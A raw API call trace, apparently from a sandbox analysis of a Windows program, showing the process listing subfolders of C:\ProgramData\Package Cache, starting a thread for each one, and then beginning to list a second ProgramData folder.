	[0073.884] wcscat (in: _Dest=0x2d7fc40, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0073.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0073.885] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0073.885] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1
	[0073.885] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1
	[0073.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f7a8
	[0073.885] wcscpy (in: _Dest=0x2d7f7a8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.885] wcscat (in: _Dest=0x2d7f7a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.885] wcscat (in: _Dest=0x2d7f7a8, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0073.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f7a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0073.886] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0073.886] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1
	[0073.886] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1
	[0073.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f1c0
	[0073.886] wcscpy (in: _Dest=0x2d7f1c0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.886] wcscat (in: _Dest=0x2d7f1c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.886] wcscat (in: _Dest=0x2d7f1c0, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0073.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0073.886] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0073.886] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1
	[0073.887] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1
	[0073.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f8f8
	[0073.887] wcscpy (in: _Dest=0x2d7f8f8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.887] wcscat (in: _Dest=0x2d7f8f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.887] wcscat (in: _Dest=0x2d7f8f8, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0073.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0073.887] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0073.887] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1
	[0073.887] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1
	[0073.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7fce8
	[0073.888] wcscpy (in: _Dest=0x2d7fce8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.888] wcscat (in: _Dest=0x2d7fce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.888] wcscat (in: _Dest=0x2d7fce8, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0073.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0073.888] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0073.888] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1
	[0073.888] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1
	[0073.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7fa48
	[0073.888] wcscpy (in: _Dest=0x2d7fa48, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.888] wcscat (in: _Dest=0x2d7fa48, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.889] wcscat (in: _Dest=0x2d7fa48, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0073.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fa48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0073.889] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0073.889] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1
	[0073.889] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1
	[0073.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7faf0
	[0073.889] wcscpy (in: _Dest=0x2d7faf0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.889] wcscat (in: _Dest=0x2d7faf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.889] wcscat (in: _Dest=0x2d7faf0, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0073.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7faf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0073.890] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0073.890] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1
	[0073.890] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1
	[0073.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7ab20
	[0073.890] wcscpy (in: _Dest=0x2d7ab20, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.890] wcscat (in: _Dest=0x2d7ab20, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.890] wcscat (in: _Dest=0x2d7ab20, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0073.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7ab20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0073.891] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0073.891] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1
	[0073.891] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1
	[0073.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7fee0
	[0073.891] wcscpy (in: _Dest=0x2d7fee0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.891] wcscat (in: _Dest=0x2d7fee0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.891] wcscat (in: _Dest=0x2d7fee0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0073.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794
	[0073.892] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
	[0073.892] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1
	[0073.892] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1
	[0073.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7ff88
	[0073.892] wcscpy (in: _Dest=0x2d7ff88, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.892] wcscat (in: _Dest=0x2d7ff88, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.892] wcscat (in: _Dest=0x2d7ff88, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0073.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7ff88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798
	[0073.893] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
	[0073.893] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1
	[0073.893] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1
	[0073.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b6f0
	[0073.893] wcscpy (in: _Dest=0x2d7b6f0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.893] wcscat (in: _Dest=0x2d7b6f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.893] wcscat (in: _Dest=0x2d7b6f0, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0073.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7b6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c
	[0073.894] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
	[0073.894] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1
	[0073.894] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1
	[0073.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7a970
	[0073.894] wcscpy (in: _Dest=0x2d7a970, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.894] wcscat (in: _Dest=0x2d7a970, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.894] wcscat (in: _Dest=0x2d7a970, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0073.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7a970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0073.895] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
	[0073.895] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1
	[0073.895] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1
	[0073.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b390
	[0073.895] wcscpy (in: _Dest=0x2d7b390, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.895] wcscat (in: _Dest=0x2d7b390, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.895] wcscat (in: _Dest=0x2d7b390, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0073.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0073.896] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
	[0073.896] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1
	[0073.896] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1
	[0073.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f070
	[0073.896] wcscpy (in: _Dest=0x2d7f070, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.896] wcscat (in: _Dest=0x2d7f070, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.896] wcscat (in: _Dest=0x2d7f070, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0073.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0073.897] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
	[0073.897] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73108) returned 1
	[0073.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73300) returned 1

Thread:
	id = 113
	os_tid = 0xa64

	[0073.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0073.899] wcscpy (in: _Dest=0x47339a0, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.899] wcscat (in: _Dest=0x47339a0, _Source="\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0073.899] wcscat (in: _Dest=0x47339a0, _Source="*" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\*") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\*"
	[0073.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.899] FindFirstFileW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.901] wcscmp (_String1=".", _String2=".") returned 0
